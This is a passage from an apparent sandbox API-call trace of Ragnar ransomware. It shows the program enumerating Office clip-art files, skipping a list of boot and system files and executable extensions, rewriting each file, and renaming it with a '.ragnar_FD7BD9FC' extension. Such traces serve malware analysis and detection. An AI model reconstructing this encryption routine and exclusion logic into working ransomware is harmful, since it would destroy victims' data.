(lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106958.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106958.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0083.972] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=13784) returned 1 [0083.972] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x35cf, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.972] GetProcessHeap () returned 0x580000 [0083.972] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0083.972] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0083.974] VirtualAlloc (lpAddress=0x0, dwSize=0x35d8, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0083.974] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.974] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0083.974] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x35d8, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x35d8, lpOverlapped=0x0) returned 1 [0083.975] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0083.975] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x35d8, nNumberOfBytesToLockHigh=0x0) returned 1 [0083.975] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x35d8, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x35d8, lpOverlapped=0x0) returned 1 [0083.975] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x35d8, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0083.976] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0083.976] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x35d8, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.976] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0083.976] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0083.976] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0083.976] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0083.976] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0083.976] GetProcessHeap () returned 0x580000 [0083.976] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0083.976] CloseHandle (hObject=0xf4) returned 1 [0083.976] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106958.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106958.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106958.WMF" [0083.976] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106958.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106958.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106958.WMF.ragnar_FD7BD9FC" [0083.976] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106958.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106958.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106958.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106958.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0083.977] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e8eef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xbcc, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107024.WMF", cAlternateFileName="")) returned 1 [0083.977] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0083.977] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0107024.WMF" | out: lpString1="J0107024.WMF") returned="J0107024.WMF" [0083.977] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107024.WMF") returned=".WMF" [0083.977] lstrcmpiW (lpString1="J0107024.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0083.977] lstrcmpiW (lpString1="J0107024.WMF", lpString2="autorun.inf") returned 1 [0083.977] lstrcmpiW (lpString1="J0107024.WMF", lpString2="boot.ini") returned 1 [0083.977] lstrcmpiW (lpString1="J0107024.WMF", lpString2="bootfont.bin") returned 1 [0083.977] lstrcmpiW (lpString1="J0107024.WMF", lpString2="bootsect.bak") returned 1 [0083.977] lstrcmpiW (lpString1="J0107024.WMF", lpString2="bootmgr") returned 1 [0083.977] lstrcmpiW (lpString1="J0107024.WMF", lpString2="bootmgr.efi") returned 1 [0083.977] lstrcmpiW (lpString1="J0107024.WMF", lpString2="bootmgfw.efi") returned 1 [0083.977] lstrcmpiW (lpString1="J0107024.WMF", lpString2="desktop.ini") returned 1 [0083.977] lstrcmpiW (lpString1="J0107024.WMF", lpString2="iconcache.db") returned 1 [0083.977] lstrcmpiW (lpString1="J0107024.WMF", lpString2="ntldr") returned -1 [0083.977] lstrcmpiW (lpString1="J0107024.WMF", lpString2="ntuser.dat") returned -1 [0083.977] lstrcmpiW (lpString1="J0107024.WMF", lpString2="ntuser.dat.log") returned -1 [0083.977] lstrcmpiW (lpString1="J0107024.WMF", lpString2="ntuser.ini") returned -1 [0083.977] lstrcmpiW (lpString1="J0107024.WMF", lpString2="thumbs.db") returned -1 [0083.977] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0083.978] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0083.978] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0083.978] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0083.978] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0083.978] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0083.978] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0083.978] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107024.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107024.wmf")) returned 0x20 [0083.978] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107024.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107024.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0083.978] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=3020) returned 1 [0083.978] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xbc3, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.978] GetProcessHeap () returned 0x580000 [0083.978] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0083.978] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0083.980] VirtualAlloc (lpAddress=0x0, dwSize=0xbcc, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0083.980] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.980] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0083.980] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xbcc, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0xbcc, lpOverlapped=0x0) returned 1 [0083.980] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0083.980] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xbcc, nNumberOfBytesToLockHigh=0x0) returned 1 [0083.980] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xbcc, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0xbcc, lpOverlapped=0x0) returned 1 [0083.981] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xbcc, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0083.981] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0083.981] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xbcc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.981] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0083.981] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0083.981] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0083.981] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0083.981] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0083.981] GetProcessHeap () returned 0x580000 [0083.981] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0083.981] CloseHandle (hObject=0xf4) returned 1 [0083.981] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107024.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107024.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107024.WMF" [0083.981] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107024.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107024.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107024.WMF.ragnar_FD7BD9FC" [0083.981] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107024.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107024.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107024.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107024.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0083.982] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5636ddf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1dd0, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107026.WMF", cAlternateFileName="")) returned 1 [0083.982] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0083.982] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0107026.WMF" | out: lpString1="J0107026.WMF") returned="J0107026.WMF" [0083.982] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107026.WMF") returned=".WMF" [0083.982] lstrcmpiW (lpString1="J0107026.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0083.982] lstrcmpiW (lpString1="J0107026.WMF", lpString2="autorun.inf") returned 1 [0083.982] lstrcmpiW (lpString1="J0107026.WMF", lpString2="boot.ini") returned 1 [0083.982] lstrcmpiW (lpString1="J0107026.WMF", lpString2="bootfont.bin") returned 1 [0083.982] lstrcmpiW (lpString1="J0107026.WMF", lpString2="bootsect.bak") returned 1 [0083.982] lstrcmpiW (lpString1="J0107026.WMF", lpString2="bootmgr") returned 1 [0083.982] lstrcmpiW (lpString1="J0107026.WMF", lpString2="bootmgr.efi") returned 1 [0083.982] lstrcmpiW (lpString1="J0107026.WMF", lpString2="bootmgfw.efi") returned 1 [0083.982] lstrcmpiW (lpString1="J0107026.WMF", lpString2="desktop.ini") returned 1 [0083.982] lstrcmpiW (lpString1="J0107026.WMF", lpString2="iconcache.db") returned 1 [0083.982] lstrcmpiW (lpString1="J0107026.WMF", lpString2="ntldr") returned -1 [0083.982] lstrcmpiW (lpString1="J0107026.WMF", lpString2="ntuser.dat") returned -1 [0083.982] lstrcmpiW (lpString1="J0107026.WMF", lpString2="ntuser.dat.log") returned -1 [0083.982] lstrcmpiW (lpString1="J0107026.WMF", lpString2="ntuser.ini") returned -1 [0083.982] lstrcmpiW (lpString1="J0107026.WMF", lpString2="thumbs.db") returned -1 [0083.982] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0083.982] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0083.982] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0083.982] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0083.982] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0083.983] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0083.983] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0083.983] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107026.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107026.wmf")) returned 0x20 [0083.983] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107026.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107026.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0083.983] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=7632) returned 1 [0083.983] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1dc7, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.983] GetProcessHeap () returned 0x580000 [0083.983] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0083.983] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0083.985] VirtualAlloc (lpAddress=0x0, dwSize=0x1dd0, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0083.985] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.985] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0083.985] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x1dd0, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x1dd0, lpOverlapped=0x0) returned 1 [0083.986] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0083.986] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1dd0, nNumberOfBytesToLockHigh=0x0) returned 1 [0083.986] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x1dd0, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x1dd0, lpOverlapped=0x0) returned 1 [0083.986] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1dd0, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0083.986] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0083.986] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1dd0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.986] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0083.987] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0083.987] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0083.987] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0083.987] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0083.987] GetProcessHeap () returned 0x580000 [0083.987] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0083.987] CloseHandle (hObject=0xf4) returned 1 [0083.987] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107026.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107026.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107026.WMF" [0083.987] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107026.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107026.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107026.WMF.ragnar_FD7BD9FC" [0083.987] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107026.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107026.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107026.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107026.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0083.988] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e8eef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2358, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107042.WMF", cAlternateFileName="")) returned 1 [0083.988] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0083.988] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0107042.WMF" | out: lpString1="J0107042.WMF") returned="J0107042.WMF" [0083.988] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107042.WMF") returned=".WMF" [0083.988] lstrcmpiW (lpString1="J0107042.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0083.988] lstrcmpiW (lpString1="J0107042.WMF", lpString2="autorun.inf") returned 1 [0083.988] lstrcmpiW (lpString1="J0107042.WMF", lpString2="boot.ini") returned 1 [0083.988] lstrcmpiW (lpString1="J0107042.WMF", lpString2="bootfont.bin") returned 1 [0083.988] lstrcmpiW (lpString1="J0107042.WMF", lpString2="bootsect.bak") returned 1 [0083.988] lstrcmpiW (lpString1="J0107042.WMF", lpString2="bootmgr") returned 1 [0083.988] lstrcmpiW (lpString1="J0107042.WMF", lpString2="bootmgr.efi") returned 1 [0083.988] lstrcmpiW (lpString1="J0107042.WMF", lpString2="bootmgfw.efi") returned 1 [0083.988] lstrcmpiW (lpString1="J0107042.WMF", lpString2="desktop.ini") returned 1 [0083.988] lstrcmpiW (lpString1="J0107042.WMF", lpString2="iconcache.db") returned 1 [0083.988] lstrcmpiW (lpString1="J0107042.WMF", lpString2="ntldr") returned -1 [0083.988] lstrcmpiW (lpString1="J0107042.WMF", lpString2="ntuser.dat") returned -1 [0083.988] lstrcmpiW (lpString1="J0107042.WMF", lpString2="ntuser.dat.log") returned -1 [0083.988] lstrcmpiW (lpString1="J0107042.WMF", lpString2="ntuser.ini") returned -1 [0083.988] lstrcmpiW (lpString1="J0107042.WMF", lpString2="thumbs.db") returned -1 [0083.988] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0083.988] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0083.988] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0083.988] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0083.988] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0083.988] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0083.988] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0083.988] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107042.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107042.wmf")) returned 0x20 [0083.989] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107042.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107042.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0083.989] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=9048) returned 1 [0083.989] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x234f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.989] GetProcessHeap () returned 0x580000 [0083.989] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0083.989] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, 